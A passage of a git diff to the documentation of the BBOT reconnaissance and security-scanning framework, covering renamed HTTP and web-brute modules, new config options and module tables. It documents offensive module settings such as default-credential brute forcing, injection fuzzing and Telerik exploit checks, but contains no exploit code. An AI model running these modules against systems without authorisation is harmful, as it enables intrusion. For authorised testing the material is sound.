[CUSTOM_HEADERS ...] List of custom headers as key value pairs (header=value). - -C, --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] + -C CUSTOM_COOKIES [CUSTOM_COOKIES ...], --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] List of custom cookies as key value pairs (cookie=value). - --custom-yara-rules, -cy CUSTOM_YARA_RULES + --custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES Add custom yara rules to excavate - --user-agent, -ua USER_AGENT + --user-agent USER_AGENT, -ua USER_AGENT Set the user-agent for all HTTP requests - --user-agent-suffix, -uas SUFFIX + --user-agent-suffix SUFFIX, -uas SUFFIX Suffix to append to the user-agent EXAMPLES diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 3fefd0e999..2285ea54f7 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -163,8 +163,8 @@ web: spider_links_per_page: 25 # HTTP timeout (for Python requests; API calls, etc.) http_timeout: 10 - # HTTP timeout (for httpx) - httpx_timeout: 5 + # HTTP timeout (for blasthttp) + blasthttp_timeout: 5 # Custom HTTP headers (e.g. cookies, etc.) # in the format { "Header-Key": "header_value" } # These are attached to all in-scope HTTP requests @@ -176,8 +176,8 @@ web: api_retries: 2 # HTTP retries - try again if the raw connection fails http_retries: 1 - # HTTP retries (for httpx) - httpx_retries: 1 + # HTTP retries (for blasthttp) + blasthttp_retries: 1 # Default sleep interval when rate limited by 429 (and retry-after isn't provided) 429_sleep_interval: 30 # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided) @@ -188,6 +188,19 @@ web: http_max_redirects: 5 # Whether to verify SSL certificates ssl_verify: false + # Maximum HTTP requests per second (0 = unlimited) + # Applies globally across all blasthttp consumers (http probing, web brute, etc.) + http_rate_limit: 0 + # HTTP_RESPONSE body disk-spill — keeps body bytes off the Python heap. + # Bodies are written to ${scan_home}/temp/bodies/{uuid}.body.zst and served + # from a bounded LRU cache; only cache misses touch disk. + body_spill: + # Master switch + enabled: true + # In-memory LRU cache budget for hot bodies, in MB + cache_mb: 512 + # zstd level-1 compression on the way to disk + compress: true ### ENGINE ### @@ -196,8 +209,6 @@ engine: # Tool dependencies deps: - ffuf: - version: "2.1.0" # How to handle installation of module dependencies # Choices are: # - abort_on_failure (default) - if a module dependency fails to install, abort the scan @@ -326,8 +337,25 @@ parameter_blacklist: - ASP.NET_SessionId - .AspNetCore.Session - PHPSESSID + - sessionid + - csrftoken - __cf_bm + - cf_clearance + - _abck + - bm_sz + - ak_bmsc - f5_cspm + - _ga + - _gid + - _gat + - _gcl_au + - _fbp + - _fbc + - __utma + - __utmb + - __utmc + - __utmz + - _hjid parameter_blacklist_prefixes: - TS01 @@ -340,6 +368,9 @@ parameter_blacklist_prefixes: - ApplicationGatewayAffinity - JSESSIONID - ARRAffinity + - _hjSession + - _gat_ + - intercom- # Don't output these types of events (they are still distributed to modules) omit_event_types: @@ -357,6 +388,10 @@ interactsh_server: null interactsh_token: null interactsh_disable: false +# API key for bbot.io services (currently used by ASN lookups via the asndb library) +# Can also be set via the BBOT_IO_API_KEY environment variable, which takes precedence. +bbot_io_api_key: null + ``` @@ -382,8 +417,8 @@ In addition to the stated options for each module, the following universal optio |-----------------------------------------------------|----------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | modules.baddns.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | | modules.baddns.enabled_submodules | list | A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only | [] | -| modules.baddns.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED) | MEDIUM | -| modules.baddns.min_severity | str | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | LOW | +| modules.baddns.min_confidence | str | Minimum confidence to emit | MEDIUM | +| modules.baddns.min_severity | str | Minimum severity to emit | LOW | | modules.baddns_direct.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | | modules.baddns_direct.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED) | MEDIUM | | modules.baddns_direct.min_severity | str | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | LOW | @@ -395,32 +430,20 @@ In addition to the stated options for each module, the following universal optio | modules.bucket_digitalocean.permutations | bool | Whether to try permutations | False | | modules.bucket_firebase.permutations | bool | Whether to try permutations | False | | modules.bucket_google.permutations | bool | Whether to try permutations | False | +| modules.bucket_hetzner.permutations | bool | Whether to try permutations | False | | modules.bucket_microsoft.permutations | bool | Whether to try permutations | False | | modules.dnsbrute.max_depth | int | How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com | 5 | -| modules.dnsbrute.wordlist | str | Subdomain wordlist URL | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt | +| modules.dnsbrute.recursive_mutations | bool | If True, brute-force hosts discovered by dnsbrute_mutations. The default (False) skips them because the static wordlist heavily overlaps with the mutation algorithm's own output. | False | +| modules.dnsbrute.wordlist | str | Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt | | modules.dnsbrute_mutations.max_mutations | int | Maximum number of target-specific mutations to try per subdomain | 100 | | modules.dnscommonsrv.max_depth | int | The maximum subdomain depth to brute-force SRV records | 2 | -| modules.ffuf.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated) | | -| modules.ffuf.ignore_case | bool | Only put lowercase words into the wordlist | False | -| modules.ffuf.lines | int | take only the first N lines from the wordlist when finding directories | 5000 | -| modules.ffuf.max_depth | int | the maximum directory depth to attempt to solve | 0 | -| modules.ffuf.rate | int | Rate of requests per second (default: 0) | 0 | -| modules.ffuf.wordlist | str | Specify wordlist to use when finding directories | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt | -| modules.ffuf_shortnames.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated) | | -| modules.ffuf_shortnames.find_common_prefixes | bool | Attempt to automatically detect common prefixes and make additional ffuf runs against them | False | -| modules.ffuf_shortnames.find_delimiters | bool | Attempt to detect common delimiters and make additional ffuf runs against them | True | -| modules.ffuf_shortnames.find_subwords | bool | Attempt to detect subwords and make additional ffuf runs against them | False | -| modules.ffuf_shortnames.ignore_redirects | bool | Explicitly ignore redirects (301,302) | True | -| modules.ffuf_shortnames.max_depth | int | the maximum directory depth to attempt to solve | 1 | -| modules.ffuf_shortnames.max_predictions | int | The maximum number of predictions to generate per shortname prefix | 250 | -| modules.ffuf_shortnames.rate | int | Rate of requests per second (default: 0) | 0 | -| modules.ffuf_shortnames.version | str | ffuf version | 2.0.0 | -| modules.ffuf_shortnames.wordlist_extensions | str | Specify wordlist to use when making extension lists | | +| modules.dnscommonsrv.recursive_mutations | bool | If True, brute-force SRV records on hosts discovered by dnsbrute_mutations. Default False skips them. | False | | modules.filedownload.extensions | list | File extensions to download | ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'] | | modules.filedownload.max_filesize | str | Cancel download if filesize is greater than this size | 10MB | | modules.filedownload.output_folder | str | Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage. | | | modules.fingerprintx.skip_common_web | bool | Skip common web ports such as 80, 443, 8080, 8443, etc. | True | | modules.fingerprintx.version | str | fingerprintx version | 1.1.4 | +| modules.generic_ssrf.skip_dns_interaction | bool | Do not report DNS interactions (only HTTP interaction) | False | | modules.gitlab_com.api_key | str | GitLab access token (for gitlab.com/org only) | | | modules.gitlab_onprem.api_key | str | GitLab access token (for self-hosted instances only) | | | modules.gowitness.chrome_path | str | Path to chrome executable | | @@ -434,25 +457,23 @@ In addition to the stated options for each module, the following universal optio | modules.gowitness.version | str | Gowitness version | 3.1.1 | | modules.graphql_introspection.graphql_endpoint_urls | list | List of GraphQL endpoint to suffix to the target URL | ['/', '/graphql', '/v1/graphql'] | | modules.graphql_introspection.output_folder | str | Folder to save the GraphQL schemas to | | -| modules.httpx.in_scope_only | bool | Only visit web reparents that are in scope. | True | -| modules.httpx.max_response_size | int | Max response size in bytes | 5242880 | -| modules.httpx.probe_all_ips | bool | Probe all the ips associated with same host | False | -| modules.httpx.store_responses | bool | Save raw HTTP responses to scan folder | False | -| modules.httpx.threads | int | Number of httpx threads to use | 50 | -| modules.httpx.version | str | httpx version | 1.2.5 | +| modules.http.in_scope_only | bool | Only visit web resources that are in scope. | True | +| modules.http.max_response_size | int | Max response size in bytes | 5242880 | +| modules.http.store_responses | bool | Save raw HTTP responses to scan folder | False | +| modules.http.threads | int | Number of concurrent requests | 50 | | modules.iis_shortnames.detect_only | bool | Only detect the vulnerability and do not run the shortname scanner | True | | modules.iis_shortnames.max_node_count | int | Limit how many nodes to attempt to resolve on any given recursion branch | 50 | | modules.iis_shortnames.speculate_magic_urls | bool | Attempt to discover iis 'magic' special folders | True | | modules.legba.concurrency | int | Number of concurrent workers, gets overridden for SSH | 3 | -| modules.legba.ftp_wordlist | str | Wordlist URL for FTP combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt | -| modules.legba.mssql_wordlist | str | Wordlist URL for MSSQL combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt | -| modules.legba.mysql_wordlist | str | Wordlist URL for MySQL combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt | -| modules.legba.postgresql_wordlist | str | Wordlist URL for PostgreSQL combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt | +| modules.legba.ftp_wordlist | str | Wordlist for FTP combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt | +| modules.legba.mssql_wordlist | str | Wordlist for MSSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt | +| modules.legba.mysql_wordlist | str | Wordlist for MySQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt | +| modules.legba.postgresql_wordlist | str | Wordlist for PostgreSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt | | modules.legba.rate_limit | int | Limit the number of requests per second, gets overridden for SSH | 3 | -| modules.legba.ssh_wordlist | str | Wordlist URL for SSH combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt | -| modules.legba.telnet_wordlist | str | Wordlist URL for TELNET combined username:password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt | +| modules.legba.ssh_wordlist | str | Wordlist for SSH combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt | +| modules.legba.telnet_wordlist | str | Wordlist for TELNET combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt | | modules.legba.version | str | legba version | 1.1.1 | -| modules.legba.vnc_wordlist | str | Wordlist URL for VNC password wordlist, newline separated | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt | +| modules.legba.vnc_wordlist | str | Wordlist for VNC passwords, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt | | modules.lightfuzz.avoid_wafs | bool | Avoid running against confirmed WAFs, which are likely to block lightfuzz requests | True | | modules.lightfuzz.disable_post | bool | Disable processing of POST parameters, avoiding form submissions. | False | | modules.lightfuzz.enabled_submodules | list | A list of submodules to enable. Empty list enabled all modules. | ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi', 'ssrf'] | @@ -460,7 +481,7 @@ In addition to the stated options for each module, the following universal optio | modules.lightfuzz.try_get_as_post | bool | For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing). | False | | modules.lightfuzz.try_post_as_get | bool | For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing). | False | | modules.medusa.snmp_versions | list | List of SNMP versions to attempt against the SNMP server (default ['1', '2C']) | ['1', '2C'] | -| modules.medusa.snmp_wordlist | str | Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt) | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt | +| modules.medusa.snmp_wordlist | str | Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt). Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt | | modules.medusa.threads | int | Number of communities to be tested concurrently (default 5) | 5 | | modules.medusa.timeout_s | int | Wait time for the SNMP response(s) once at the end of all attempts (default 5) | 5 | | modules.medusa.wait_microseconds | int | Wait time after every SNMP request in microseconds (default 200) | 200 | @@ -482,13 +503,15 @@ In addition to the stated options for each module, the following universal optio | modules.oauth.try_all | bool | Check for OAUTH/IODC on every subdomain and URL. | False | | modules.paramminer_cookies.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | | modules.paramminer_cookies.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | -| modules.paramminer_cookies.wordlist | str | Define the wordlist to be used to derive cookies | | +| modules.paramminer_cookies.wordlist | str | Define the wordlist to be used to derive cookies. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | +| modules.paramminer_getparams.brute_short | bool | Generate every 1-, 2-, and 3-letter [a-z] combination and add to the wordlist. Costs ~18,278 extra requests per host; opt-in for thorough scans. | False | +| modules.paramminer_getparams.mutate_case | bool | Also test case-mutated variants of each entry (camelCase for snake_case/kebab-case, Title case for single words). Skipped on URLs with case-insensitive backend extensions like .aspx/.cfm. | False | | modules.paramminer_getparams.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | | modules.paramminer_getparams.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | -| modules.paramminer_getparams.wordlist | str | Define the wordlist to be used to derive headers | | +| modules.paramminer_getparams.wordlist | str | Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | | modules.paramminer_headers.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | | modules.paramminer_headers.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | -| modules.paramminer_headers.wordlist | str | Define the wordlist to be used to derive headers | | +| modules.paramminer_headers.wordlist | str | Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | | modules.portscan.adapter | str | Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used. | | | modules.portscan.adapter_ip | str | Send packets using this IP address. Not needed unless masscan's autodetection fails | | | modules.portscan.adapter_mac | str | Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails | | @@ -508,12 +531,25 @@ In addition to the stated options for each module, the following universal optio | modules.robots.include_sitemap | bool | Include 'sitemap' entries | False | | modules.securitytxt.emails | bool | emit EMAIL_ADDRESS events | True | | modules.securitytxt.urls | bool | emit URL_UNVERIFIED events | True | -| modules.sslcert.skip_non_ssl | bool | Don't try common non-SSL ports | True | -| modules.sslcert.timeout | float | Socket connect timeout in seconds | 5.0 | | modules.telerik.exploit_RAU_crypto | bool | Attempt to confirm any RAU AXD detections are vulnerable | False | | modules.telerik.include_subdirs | bool | Include subdirectories in the scan (off by default) | False | | modules.url_manipulation.allow_redirects | bool | Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default. | True | | modules.wafw00f.generic_detect | bool | When no specific WAF detections are made, try to perform a generic detect | True | +| modules.webbrute.concurrency | int | Number of concurrent requests per URL being fuzzed | 50 | +| modules.webbrute.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated or YAML list) | | +| modules.webbrute.ignore_case | bool | Only put lowercase words into the wordlist | False | +| modules.webbrute.lines | int | take only the first N lines from the wordlist when finding directories | 5000 | +| modules.webbrute.max_depth | int | the maximum directory depth to attempt to solve | 0 | +| modules.webbrute.rate | int | Maximum requests per second (0 = unlimited) | 0 | +| modules.webbrute.wordlist | str | Specify wordlist to use when finding directories. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt | +| modules.webbrute_shortnames.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated) | | +| modules.webbrute_shortnames.find_common_prefixes | bool | Attempt to automatically detect common prefixes and make additional runs against them | False | +| modules.webbrute_shortnames.find_delimiters | bool | Attempt to detect common delimiters and make additional runs against them | True | +| modules.webbrute_shortnames.find_subwords | bool | Attempt to detect subwords and make additional runs against them | False | +| modules.webbrute_shortnames.max_depth | int | the maximum directory depth to attempt to solve | 1 | +| modules.webbrute_shortnames.max_predictions | int | The maximum number of predictions to generate per shortname prefix | 250 | +| modules.webbrute_shortnames.rate | int | Rate of requests per second (default: 0) | 0 | +| modules.webbrute_shortnames.wordlist_extensions | str | Specify wordlist to use when making extension lists. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | | modules.wpscan.api_key | str | WPScan API Key | | | modules.wpscan.connection_timeout | int | The connection timeout in seconds (default 2) | 2 | | modules.wpscan.disable_tls_checks | bool | Disables the SSL/TLS certificate verification (Default True) | True | @@ -577,7 +613,6 @@ In addition to the stated options for each module, the following universal optio | modules.kreuzberg.extensions | list | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | | modules.leakix.api_key | str | LeakIX API Key | | | modules.otx.api_key | str | OTX API key | | -| modules.passivetotal.api_key | str | PassiveTotal API Key in the format of 'username:api_key' | | | modules.pgp.search_urls | list | PGP key servers to search |` ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index'] `| | modules.portfilter.allowed_cdn_ports | str | Comma-separated list of ports that are allowed to be scanned for CDNs | 80,443 | | modules.portfilter.cdn_tags | str | Comma-separated list of tags to skip, e.g. 'cdn,waf' | cdn,waf | @@ -624,13 +659,6 @@ In addition to the stated options for each module, the following universal optio | modules.elastic.url | str |` Elastic URL (e.g. https://localhost:9200//_doc) `| https://localhost:9200/bbot_events/_doc | | modules.elastic.username | str | Elastic username | elastic | | modules.emails.output_file | str | Output to file | | -| modules.http.bearer | str | Authorization Bearer token | | -| modules.http.headers | dict | Additional headers to send with the request | {} | -| modules.http.method | str | HTTP method | POST | -| modules.http.password | str | Password (basic auth) | | -| modules.http.timeout | int | HTTP timeout | 10 | -| modules.http.url | str | Web URL | | -| modules.http.username | str | Username (basic auth) | | | modules.json.output_file | str | Output to file | | | modules.kafka.bootstrap_servers | str | A comma-separated list of Kafka server addresses | localhost:9092 | | modules.kafka.topic | str | The Kafka topic to publish events to | bbot_events | @@ -659,7 +687,7 @@ In addition to the stated options for each module, the following universal optio | modules.slack.event_types | list | Types of events to send | ['FINDING'] | | modules.slack.min_severity | str | Only allow FINDING events of this severity or higher | LOW | | modules.slack.retries | int | Number of times to retry sending the message before skipping the event | 10 | -| modules.slack.webhook_url | str | Discord webhook URL | | +| modules.slack.webhook_url | str | Slack webhook URL | | | modules.splunk.hectoken | str | HEC Token | | | modules.splunk.index | str | Index to send data to | | | modules.splunk.source | str | Source path to be added to the metadata | | @@ -682,6 +710,13 @@ In addition to the stated options for each module, the following universal optio | modules.web_parameters.output_file | str | Output to file | | | modules.web_report.css_theme_file | str | CSS theme URL for HTML output | https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css | | modules.web_report.output_file | str | Output to file | | +| modules.webhook.bearer | str | Authorization Bearer token | | +| modules.webhook.headers | dict | Additional headers to send with the request | {} | +| modules.webhook.method | str | HTTP method | POST | +| modules.webhook.password | str | Password (basic auth) | | +| modules.webhook.timeout | int | HTTP timeout | 10 | +| modules.webhook.url | str | Web URL | | +| modules.webhook.username | str | Username (basic auth) | | | modules.websocket.ignore_ssl | bool | Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.) | False | | modules.websocket.preserve_graph | bool | Preserve full chains of events in the graph (prevents orphans) | True | | modules.websocket.token | str | Authorization Bearer token | | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index 0569db7083..44c3aa1c9f 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -104,41 +104,40 @@ Below is a full list of event types along with which modules produce/consume the ## List of Event Types -| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | -|---------------------|-----------------------|-----------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, http, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, websocket, zeromq | | -| ASN | 0 | 1 | | asn | -| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | -| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | -| DNS_NAME | 59 | 42 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, passivetotal, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, digitorus, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, passivetotal, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | -| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | -| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | -| FINDING | 2 | 36 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, smuggler, speculate, telerik, trajan, trufflehog, url_manipulation, wpscan | -| GEOLOCATION | 0 | 2 | | ip2location, ipstack | -| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | -| HTTP_RESPONSE | 18 | 1 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, telerik, trufflehog, wpscan | httpx | -| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | -| IP_RANGE | 2 | 0 | portscan, speculate | | -| MOBILE_APP | 1 | 1 | apkpure | google_playstore | -| OPEN_TCP_PORT | 6 | 6 | asset_inventory, fingerprintx, httpx, nmap_xml, portfilter, sslcert | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | -| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | -| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | -| PASSWORD | 0 | 2 | | credshed, dehashed | -| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | -| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | -| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | -| STORAGE_BUCKET | 8 | 5 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft | -| TECHNOLOGY | 5 | 10 | asset_inventory, gitlab_onprem, trajan, web_report, wpscan | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb, wpscan | -| URL | 22 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, ffuf, git, gowitness, graphql_introspection, httpx, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, smuggler, speculate, telerik, url_manipulation, wafw00f, web_report | gowitness, httpx | -| URL_HINT | 1 | 1 | ffuf_shortnames | iis_shortnames | -| URL_UNVERIFIED | 9 | 19 | code_repository, filedownload, httpx, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, ffuf, ffuf_shortnames, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, wpscan | -| USERNAME | 1 | 2 | speculate | credshed, dehashed | -| VHOST | 1 | 0 | web_report | | -| WAF | 1 | 1 | asset_inventory | wafw00f | -| WEBSCREENSHOT | 0 | 1 | | gowitness | -| WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, 